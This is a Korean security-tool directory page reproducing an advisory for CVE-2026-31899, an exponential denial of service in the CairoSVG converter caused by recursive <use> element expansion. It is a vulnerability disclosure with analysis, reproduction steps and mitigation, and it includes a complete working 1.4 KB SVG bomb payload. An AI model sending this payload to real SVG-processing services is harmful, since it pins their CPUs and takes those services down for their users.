Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31899 — CVE-2026-31899: CairoSVG의 재귀적 <use> 요소 증폭을 통한 지수적 DoS (CVSS 7.5 높음) | Kitploit
도구/GitHubGitHub/snailsploit/cve-2026-31899
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: CairoSVG의 재귀적 <use> 요소 증폭을 통한 지수적 DoS (CVSS 7.5 높음)

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31899: CairoSVG의 재귀적 요소 증폭을 통한 지수적 DoS

CVE CVSS Score Python Package CWE-400 GHSA

키워드: CVE-2026-31899, CairoSVG, 지수적 DoS, SVG 폭탄, 재귀적 use 요소, 서비스 거부, XML 증폭, Python SVG 취약점, CWE-400, 통제되지 않은 리소스 소비, billion laughs SVG

목차

  • 개요
  • 취약점 세부 정보
  • 기술 분석
  • 개념 증명
  • 영향
  • 대응 방안
  • CVSS 지표
  • 참고 자료
  • 연락처

개요

CairoSVG 지수적 서비스 거부 (CVE-2026-31899) — 1,411바이트 SVG 페이로드가 재귀적 요소 증폭을 통해 CPU를 무기한 100%로 고정시킵니다.

CairoSVG(주당 약 30만 회 다운로드)는 널리 사용되는 Python SVG-to-PNG/PDF 변환기입니다. cairosvg/defs.py의 use() 함수는 깊이 또는 개수 제한 없이 요소를 재귀적으로 처리합니다. 각각 10개의 참조를 가진 5단계 중첩만으로도 작은 SVG가 10^5 = 100,000회의 렌더링 호출을 유발합니다 — SVG "billion laughs" 변종입니다.

발견자: Kai Aizen — SnailSploit 게시일: 2026년 3월 13일 CVSS 점수: 7.5 (높음) CWE: CWE-400 — 통제되지 않은 리소스 소비 (Uncontrolled Resource Consumption) 패키지: CairoSVG (PyPI) 공격 유형: 지수적 서비스 거부 (Exponential DoS) 필요 권한: 없음 (인증 불필요)

취약점 세부 정보

설명

cairosvg/defs.py(약 335행)의 use() 함수는 다른 요소를 참조하는 요소를 재귀적으로 처리합니다. 재귀 깊이 제한이나 전체 요소 예산이 없습니다. 공격자는 각 계층이 이전 계층을 N회 참조하는 작은 SVG를 제작하여 O(depth) 입력만으로 O(N^depth) 렌더링 호출을 발생시킬 수 있습니다.

주요 특징

  • 증폭 비율: O(N) 입력 라인에서 O(10^N) 렌더링 호출 발생
  • 메모리 프로파일: 약 43MB로 일정 — OOM 킬 없음, 프로세스가 자연 종료되지 않음
  • CPU 프로파일: 단일 코어 100% 무기한 고정
  • 페이로드 크기: 1,411바이트

영향받는 버전

  • 취약: 2.9.0 미만 모든 버전
  • 패치됨: 2.9.0 이상 버전

기술 분석

취약점은 다음과 같은 이유로 존재합니다:

  1. defs.py의 use() 함수는 각 요소의 xlink:href 대상을 조회하여 처리합니다
  2. 대상이 요소를 포함하는 그룹인 경우 해당 요소들이 재귀적으로 확장됩니다
  3. 깊이 카운터나 요소 예산이 적용되지 않습니다
  4. 각 단계는 분기 계수만큼 작업을 배가시킵니다(예: 단계당 10배)

5단계와 분기 계수 10의 경우:

root@kitploit:~
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

총계: 1,411바이트 입력에서 111,111회의 렌더링 호출 발생.

개념 증명

SVG 페이로드 poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

재현

방법 1 — 명령줄:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

방법 2 — Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

영향

SVG 입력을 받아들이고 처리를 위해 CairoSVG를 사용하는 모든 서비스가 취약합니다:

공격 표면예시
썸네일 생성SVG 업로드 → 서버가 PNG로 변환
PDF 생성문서에 포함된 SVG → CairoSVG가 렌더링
아바타/이미지 처리사용자가 업로드한 SVG 프로필 이미지

1.4KB 페이로드가 포함된 단일 요청은 최소한의 메모리만 소비하면서 처리 스레드를 무기한 고정시킵니다(당신을 구해줄 OOM 킬도 없습니다).

대응 방안

즉시 조치

CairoSVG를 버전 2.9.0 이상으로 업그레이드하세요:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

심층 방어

  • 모든 SVG 변환 엔드포인트에 처리 시간 제한 설정
  • SVG 업로드에 입력 크기 제한 구현
  • CPU 시간 제한이 있는 격리된 워커에서 SVG 처리를 샌드박싱하는 방안 검토

CVSS v3.1 지표

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

타임라인

날짜이벤트
2026-03-09CVE 예약됨
2026-03-13권고 게시됨 (GHSA-f38f-5xpm-9r7c)
2026-03-13수정 사항이 포함된 CairoSVG 2.9.0 릴리스

참고 자료

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • PyPI의 CairoSVG
  • CWE-400: 통제되지 않은 리소스 소비
  • 수정 커밋

연락처

Kai Aizen (SnailSploit)

  • 웹: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ 면책 조항: 이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 개념 증명은 방어자가 자신의 노출을 검증하는 데 도움을 주기 위해 제공됩니다. 책임감 있게 사용하세요.


📚 문서 및 작성자

이 프로젝트의 전체 분석 보고서, 방법론 및 관련 연구는 다음에서 확인할 수 있습니다:

https://snailsploit.com/cves

Kai Aizen — 독립 공격 보안 연구원이 제작했습니다.

snailsploit.com · 연구 · 프레임워크 · GitHub · LinkedIn · ResearchGate · X/Twitter

동일한 공격. 다른 기반 환경.

도구 다운로드
보고서 렌더링
자동화된 보고서의 SVG 차트
CI/CD 파이프라인빌드 중 처리되는 SVG 자산
지표값
공격 벡터네트워크 (AV:N)
공격 복잡도낮음 (AC:L)
필요 권한없음 (PR:N)
사용자 상호작용없음 (UI:N)
범위변경되지 않음 (S:U)
기밀성없음 (C:N)
무결성없음 (I:N)
가용성높음 (A:H)